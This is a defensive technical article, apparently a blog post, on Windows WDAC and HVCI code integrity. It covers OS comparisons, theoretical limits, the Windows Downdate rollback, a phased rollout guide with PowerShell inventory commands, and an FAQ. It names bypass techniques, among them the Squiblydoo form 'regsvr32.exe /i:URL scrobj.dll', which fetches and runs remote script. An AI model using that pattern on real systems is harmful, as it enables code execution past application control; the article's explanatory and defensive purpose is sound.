&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt; ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and &lt;code&gt;dm-verity&lt;/code&gt; [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC&apos;s audit pipeline: it can &lt;em&gt;collect&lt;/em&gt; file measurements, &lt;em&gt;store&lt;/em&gt; them in a kernel-resident list (and extend a TPM PCR if hardware is present), &lt;em&gt;attest&lt;/em&gt; them remotely, and &lt;em&gt;appraise&lt;/em&gt; them against a &quot;good&quot; value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing&apos;s TDX or SEV-SNP overlay, and that is opt-in.&lt;/p&gt;

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].
&lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt; combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Windows (WDAC + HVCI)&lt;/th&gt;
&lt;th&gt;macOS&lt;/th&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Tenant-authored policy&lt;/td&gt;
&lt;td&gt;Yes (XML)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (IMA appraise)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hypervisor-rooted enforcement&lt;/td&gt;
&lt;td&gt;Yes (VTL1)&lt;/td&gt;
&lt;td&gt;No (silicon-rooted)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-page W$\oplus$X for kernel&lt;/td&gt;
&lt;td&gt;Yes (HVCI)&lt;/td&gt;
&lt;td&gt;Yes (KIP, fixed)&lt;/td&gt;
&lt;td&gt;No (default)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sealed system image&lt;/td&gt;
&lt;td&gt;No (modular)&lt;/td&gt;
&lt;td&gt;Yes (sealed APFS)&lt;/td&gt;
&lt;td&gt;Optional (dm-verity)&lt;/td&gt;
&lt;td&gt;Yes (Verified Boot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-load runtime check&lt;/td&gt;
&lt;td&gt;Yes (every PE)&lt;/td&gt;
&lt;td&gt;Yes (every Mach-O)&lt;/td&gt;
&lt;td&gt;Optional (IMA)&lt;/td&gt;
&lt;td&gt;App install / Zygote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust anchor&lt;/td&gt;
&lt;td&gt;Microsoft + tenant&lt;/td&gt;
&lt;td&gt;Apple only&lt;/td&gt;
&lt;td&gt;TPM PCR / tenant&lt;/td&gt;
&lt;td&gt;AVB key + Google Play&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documented bypass class&lt;/td&gt;
&lt;td&gt;LOLBINs + BYOVD&lt;/td&gt;
&lt;td&gt;Notarization gaps&lt;/td&gt;
&lt;td&gt;Off-by-default IMA&lt;/td&gt;
&lt;td&gt;Sandbox escapes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Windows distinction is structural. A &lt;em&gt;hypervisor-rooted&lt;/em&gt; runtime enforcement loop, against an &lt;em&gt;XML-schema author-anywhere policy&lt;/em&gt;, evaluated at &lt;em&gt;every PE load&lt;/em&gt; by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.&lt;/p&gt;

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.
&lt;p&gt;The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.&lt;/p&gt;
&lt;h2&gt;8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface&lt;/h2&gt;
&lt;p&gt;Fred Cohen proved in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; that the general problem WDAC tries to solve is undecidable. &quot;Detection of a virus is shown to be undecidable both by a-priori and runtime analysis,&quot; [@cohen-eecs588] Cohen wrote in the abstract, &quot;and without detection, containment is, in general, impossible.&quot; Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the &lt;em&gt;A&lt;/em&gt; in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in &lt;em&gt;Computers &amp;amp; Security&lt;/em&gt; in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.&lt;/p&gt;
&lt;p&gt;WDAC is not a detector; it is an &lt;em&gt;allowlist&lt;/em&gt;. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- &lt;em&gt;is this exact bag of bytes, with this exact signature, on the trusted list?&lt;/em&gt; -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn&apos;t fixed; it is the empirical residue of an undecidable problem.&lt;/p&gt;
&lt;/blockquote&gt;

Henry Gordon Rice&apos;s 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. &quot;Will this program ever execute arbitrary code from a network argument?&quot; is a semantic property. Rice&apos;s theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft&apos;s bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.
&lt;p&gt;The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that &lt;em&gt;write&lt;/em&gt; a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of &lt;em&gt;existing&lt;/em&gt; executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in &lt;code&gt;RET&lt;/code&gt; instructions, all of which were already in the kernel&apos;s executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from &lt;em&gt;modify code&lt;/em&gt; to &lt;em&gt;modify data that drives code&lt;/em&gt; -- but the control-flow attack class remains.&lt;/p&gt;
&lt;p&gt;The Driver Block List arms race is the third structural limit. Microsoft&apos;s own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor&apos;s installed base.&lt;/p&gt;

It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.
&lt;p&gt;The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does &lt;em&gt;not&lt;/em&gt; break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft&apos;s view of how much it values an attack that compromises the HVCI substrate from above.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it implies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Cohen 1986 lower bound&lt;/td&gt;
&lt;td&gt;Cohen, &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588]&lt;/td&gt;
&lt;td&gt;General malware detection is undecidable; allowlists are the only decidable primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem lower bound&lt;/td&gt;
&lt;td&gt;Rice 1951 [@wikipedia-rices-theorem]&lt;/td&gt;
&lt;td&gt;Static analysis cannot decide non-trivial semantic properties of LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reachable bound&lt;/td&gt;
&lt;td&gt;WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint&lt;/td&gt;
&lt;td&gt;Decidable allowlist + curated deny list + EDR telemetry on the residual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Residual surface&lt;/td&gt;
&lt;td&gt;ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback&lt;/td&gt;
&lt;td&gt;Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI&apos;s own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.
&lt;p&gt;WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.&lt;/p&gt;
&lt;h2&gt;9. Open Problems: Where Research Lives Today&lt;/h2&gt;
&lt;p&gt;Five live research directions sit on the frontier of the runtime enforcement loop. Each is the &lt;em&gt;next&lt;/em&gt; generation of one of the residuals named in section eight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data-only attacks against HVCI and KDP coverage.&lt;/strong&gt; KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call &lt;code&gt;MmProtectDriverSection&lt;/code&gt; for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BYOVD-class drivers faster than the Block List update cadence.&lt;/strong&gt; The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signed-but-vulnerable user-mode binaries.&lt;/strong&gt; The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, &quot;regsvr32 with &lt;code&gt;/i:URL&lt;/code&gt; arguments&quot; can be denied even when &quot;regsvr32 without arguments&quot; is allowed. Some of this lives in Defender&apos;s ASR rules [@ms-asr-rules] today; none of it lives inside WDAC&apos;s static schema.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HVCI rollback (CVE-2024-21302 Windows Downdate).&lt;/strong&gt; Alon Leviev&apos;s Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI&apos;s substrate to an older, vulnerable version -- &quot;I successfully downgraded Credential Guard&apos;s Isolated User Mode Process, Secure Kernel, and Hyper-V&apos;s hypervisor to expose past privilege escalation vulnerabilities.&quot; Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that &lt;em&gt;delivered&lt;/em&gt; the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; &quot;Gaining kernel code execution as an Administrator is not considered as crossing a security boundary.&quot; The open direction is mandatory &lt;code&gt;dbx&lt;/code&gt; hygiene plus UEFI-locked monotonic version counters for VBS binaries.&lt;/p&gt;

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term &apos;fully patched&apos; meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.
&lt;p&gt;&lt;strong&gt;The post-CrowdStrike user-mode-security pivot.&lt;/strong&gt; The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI&apos;s silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include &lt;code&gt;iOCdrv.sys&lt;/code&gt; and &lt;code&gt;Windows_CPU_Temperature_Component.sys&lt;/code&gt;, both classified as &quot;Vulnerable driver.&quot; The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor&apos;s installed base on a Wednesday.&lt;/p&gt;
&lt;p&gt;These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is &lt;em&gt;not&lt;/em&gt; contested -- the operational discipline a 2026 administrator should follow today.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide: A Phased Rollout for a 2026 Estate&lt;/h2&gt;
&lt;p&gt;If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 0 (week 1) -- silicon verification.&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard&lt;/code&gt; against a representative sample. Confirm that &lt;code&gt;AvailableSecurityProperties&lt;/code&gt; includes &lt;code&gt;1&lt;/code&gt; (hypervisor support), &lt;code&gt;2&lt;/code&gt; (Secure Boot), and &lt;code&gt;7&lt;/code&gt; (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that &lt;code&gt;VirtualizationBasedSecurityStatus = 2&lt;/code&gt; on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented &quot;HVCI-incapable&quot; exception with an EDR-only compensating control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having &quot;a bigger impact on performance&quot; than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce.&lt;/strong&gt; Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the &lt;code&gt;Microsoft-Windows-DeviceGuard/Operational&lt;/code&gt; channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 2 (weeks 5-10) -- WDAC base policy in audit mode.&lt;/strong&gt; Author a base policy from &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; [@ms-example-policies] using &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. Deploy in audit. Iterate &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don&apos;t be that rollout.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 3 (weeks 11-16) -- sign and enforce.&lt;/strong&gt; Sign the base policy (&lt;code&gt;Add-SignerRule -Update&lt;/code&gt;, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt;, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt;, &lt;code&gt;signtool.exe&lt;/code&gt; [@ms-rule-options]). Validate the signed policy on a wave-1 subset &lt;em&gt;before&lt;/em&gt; fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the &lt;code&gt;CodeIntegrity-Operational&lt;/code&gt; channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the &lt;code&gt;DeviceEvents&lt;/code&gt; table is your join point.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the &lt;code&gt;&amp;lt;UpdatePolicySigner&amp;gt;&lt;/code&gt; element of the &lt;em&gt;currently active&lt;/em&gt; policy &lt;em&gt;before&lt;/em&gt; you ship the new policy. Always increment &lt;code&gt;VersionEx&lt;/code&gt; monotonically. None of these are nice-to-haves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 4 (ongoing) -- continuous tuning.&lt;/strong&gt; Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Audit volume goes near-zero before enforce, not &quot;low&quot; before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &quot;do not do&quot; list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the &lt;code&gt;VersionEx&lt;/code&gt; boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft&apos;s own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to &quot;fix&quot; driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.&lt;/p&gt;

```powershell
Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus
```
Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.
&lt;p&gt;After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop&apos;s continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.&lt;/p&gt;
&lt;h2&gt;11. FAQ: The Misconceptions This Article Closes&lt;/h2&gt;
&lt;p&gt;Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.&lt;/p&gt;

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses.

No. NX (the No-Execute bit on x86-64) is a permission bit the CPU&apos;s MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor&apos;s page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX&apos;s enforcement substrate is editable by the attacker; HVCI&apos;s is not.

No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE.

No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers.

No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim &quot;hold back some blocks&quot; quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months.

No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill.

Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode.

Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;wdac-hvci-code-integrity-at-every-layer-in-windows&quot; keyTerms={[
  { term: &quot;WDAC&quot;, definition: &quot;Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution.&quot; },
  { term: &quot;VTL0 / VTL1&quot;, definition: &quot;Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient.&quot; },
  { term: &quot;SiPolicy XML&quot;, definition: &quot;The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners.&quot; },
  { term: &quot;Driver Block List&quot;, definition: &quot;Microsoft&apos;s recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+.&quot; },
  { term: &quot;ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5&quot;, definition: &quot;The Defender for Endpoint &apos;Block abuse of exploited vulnerable signed drivers&apos; rule that pairs with the Block List as the EDR-side telemetry partner.&quot; },
  { term: &quot;Cohen 1984/1986&quot;, definition: &quot;Fred Cohen&apos;s 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector.&quot; },
  { term: &quot;Rice&apos;s theorem&quot;, definition: &quot;Henry Gordon Rice&apos;s 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated.&quot; }
]} questions={[
  { q: &quot;What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?&quot;, a: &quot;CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W-&amp;gt;X SLAT refusal that emits CodeIntegrity-Operational event 3033.&quot; },
  { q: &quot;Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?&quot;, a: &quot;Because the publisher rule scopes trust to the binary&apos;s signer, not the binary&apos;s behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch.&quot; },
  { q: &quot;What is the architectural inversion HVCI performs against Joanna Rutkowska&apos;s 2006 Blue Pill argument?&quot;, a: &quot;Blue Pill argued the hypervisor was the attacker&apos;s substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender&apos;s substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1.&quot; },
  { q: &quot;Why does the Driver Block List always lag behind the LOLDrivers community catalogue?&quot;, a: &quot;Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle.&quot; },
